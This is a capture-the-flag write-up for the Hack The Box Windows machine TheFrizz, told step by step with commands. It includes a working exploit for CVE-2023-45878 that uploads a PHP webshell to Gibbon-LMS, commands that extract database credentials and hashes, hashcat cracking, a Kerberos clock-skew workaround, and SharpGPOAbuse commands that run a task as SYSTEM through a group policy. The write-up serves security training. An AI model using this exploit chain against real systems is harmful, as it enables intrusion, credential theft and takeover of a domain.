Post

TheFrizz

CVE-2023-45878 in Gibbon-LMS allowed unauthenticated PHP webshell upload, leading to credential extraction, hash cracking, and Kerberos SSH access as f.frizzle for the user flag.

TheFrizz

Overview

TheFrizz is a medium-difficulty Windows Active Directory machine. The attack begins with CVE-2023-45878, an unauthenticated unrestricted file upload in Gibbon-LMS that writes a PHP webshell to the web root. From the webshell, MySQL credentials in the application config lead to a salted SHA-256 hash for f.frizzle, cracked offline with hashcat. A ~7-hour clock skew on the DC requires faketime to bypass Kerberos before SSH access lands user. Lateral movement through a WAPT backup archive in the Recycle Bin exposes m.schoolbus credentials, and membership in Group Policy Creator Owners allows SharpGPOAbuse to execute commands as NT AUTHORITY\SYSTEM.

Machine Matrix

Enumeration Real-Life CVE Custom Exploitation CTF-like

High Real-Life and CVE axes reflect a real production LMS vulnerability chained with plaintext credentials in config files and an AD GPO misconfiguration — all techniques observed in real-world intrusions.

Recon

PortServiceNotes
22/tcpOpenSSHKerberos GSSAPI only — password auth disabled
53/tcpDNSDomain: frizz.htb
80/tcpHTTP (Apache/XAMPP)Gibbon-LMS on frizzdc.frizz.htb
88/tcpKerberosFRIZZ.HTB realm
135/tcpMSRPC
139/tcpNetBIOS
389/tcpLDAPDC: frizzdc.frizz.htb
445/tcpSMB
464/tcpkpasswd
593/tcpRPC over HTTP
636/tcpLDAPS
3268/tcpGlobal Catalog LDAP
3269/tcpGlobal Catalog LDAPS
9389/tcpAD Web Services
1
2
nmap -p- --min-rate=1000 -T4 -Pn 10.10.10.X
nmap -p22,53,80,88,135,139,389,445,464,593,636,3268,3269,9389 -sC -sV -Pn 10.10.10.X

The full AD port set alongside port 80 makes the attack surface clear: a Windows domain controller running a web application. Add the discovered hostnames to /etc/hosts:

1
echo "10.10.10.X frizzdc.frizz.htb frizz.htb" | sudo tee -a /etc/hosts

Enumeration

Port 80 serves Gibbon-LMS version 25.0.0 at http://frizzdc.frizz.htb/Gibbon-LMS/. Checking the rubrics endpoint from CVE-2023-45878 confirms it is reachable without authentication:

1
curl -s -I http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php

With the webshell in place (see Foothold), reading config.php reveals the MySQL credentials stored in plaintext — a CWE-256 violation:

1
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kali.php?cmd=type+C:\xampp\htdocs\Gibbon-LMS\config.php"

The config exposes the database user MrGibbonsDB with password MisterGibbs!Parrot!?1. Querying the gibbonperson table dumps the password hash and salt for f.frizzle:

1
2
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kali.php" \
  --get --data-urlencode 'cmd=C:\xampp\mysql\bin\mysql.exe -uMrGibbonsDB -p"MisterGibbs!Parrot!?1" gibbon -e "select username,passwordStrong,passwordStrongSalt from gibbonperson;"'

Foothold

CVE-2023-45878 is an unrestricted file upload paired with missing authentication in Gibbon-LMS 25.0.0. The rubrics_visualise_saveAjax.php endpoint accepts a base64-encoded body and a caller-controlled filename with no session check.

Write a PHP webshell (the base64 payload decodes to <?php system($_GET["cmd"]); ?>):

1
2
curl -s http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
  -d 'img=image/png;kali,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyAgPz4K&path=kali.php&gibbonPersonID=0000000001'

Verify code execution:

1
curl -s "http://frizzdc.frizz.htb/Gibbon-LMS/kali.php?cmd=whoami"

The response confirms execution as frizz\w.webservice.

User flag

Lateral movement from w.webservice to f.frizzle requires cracking the extracted hash. Hashcat mode 1420 is sha256($salt.$pass):

1
2
echo '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489' > f.frizzle.hash
hashcat -m 1420 f.frizzle.hash /usr/share/wordlists/rockyou.txt --force

The hash cracks to Jenni_Luvs_Magic23. SSH on this box requires Kerberos GSSAPI — but the DC clock is ~7 hours ahead. Use faketime to match the DC timestamp for kinit and ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    dns_lookup_kdc = false
    default_realm = FRIZZ.HTB
[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
    }
[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB
EOF

Obtain the DC time from a failed TGT request (copy the stime value from the KRB_ERROR response):

1
getTGT.py -dc-ip 10.10.10.X frizz.htb/f.frizzle:wrongpass 2>&1

Then authenticate with that timestamp:

1
2
faketime "2026-05-22 22:32:00" kinit [email protected]
faketime "2026-05-22 22:32:00" ssh -K -o StrictHostKeyChecking=no [email protected]
1
type C:\Users\f.frizzle\Desktop\user.txt   # HTB{...}

Shell lands as f.frizzle and the user flag is ours.

Privilege Escalation

f.frizzle to m.schoolbus:

A 7-Zip archive sitting in f.frizzle’s Recycle Bin contains a WAPT server backup. The waptserver.ini inside stores the admin password as a base64-encoded string — CWE-312 paired with CWE-538:

1
2
3
4
5
6
7
faketime "2026-05-22 22:33:00" kinit [email protected]
faketime "2026-05-22 22:33:00" scp -o GSSAPIAuthentication=yes \
  '[email protected]:C:/$RECYCLE.BIN/S-1-5-21-2386970044-1145388522-2932701813-1103/$RE2XMEG.7z' \
  wapt-backup-sunday.7z
7z x wapt-backup-sunday.7z
grep wapt_password wapt/conf/waptserver.ini
echo 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d

The decoded password is !suBcig@MehTed!R, valid for m.schoolbus:

1
2
faketime "2026-05-22 22:34:00" kinit [email protected]
faketime "2026-05-22 22:34:00" ssh -K [email protected]

m.schoolbus to SYSTEM via GPO abuse:

m.schoolbus is a member of Desktop Admins, which is nested inside the built-in Group Policy Creator Owners group — a privilege misconfiguration that permits creating domain GPOs. Creating a GPO, linking it to the Domain Controllers OU, and adding an immediate scheduled task causes the DC to run arbitrary commands as NT AUTHORITY\SYSTEM:

Transfer SharpGPOAbuse to the target:

1
2
3
faketime "2026-05-22 22:35:00" kinit [email protected]
faketime "2026-05-22 22:35:00" scp -o GSSAPIAuthentication=yes \
  SharpGPOAbuse.exe '[email protected]:C:/Windows/Temp/SharpGPOAbuse.exe'

On the target via SSH, create and abuse the GPO:

1
2
3
New-GPO -Name rootgpo | New-GPLink -Target 'OU=Domain Controllers,DC=frizz,DC=htb' -LinkEnabled Yes
C:\Windows\Temp\SharpGPOAbuse.exe --addcomputertask --GPOName rootgpo --Author kali --TaskName getroot --Command cmd.exe --Arguments "/c type C:\Users\Administrator\Desktop\root.txt > C:\xampp\htdocs\r.txt"
gpupdate /force

Retrieve the root flag via HTTP (executed as SYSTEM):

1
curl -s http://frizzdc.frizz.htb/r.txt

Root flag

1
type C:\Users\Administrator\Desktop\root.txt   # HTB{...}

Full domain compromise achieved — NT AUTHORITY\SYSTEM on the domain controller via GPO scheduled task abuse.

This post is licensed under CC BY 4.0 by the author.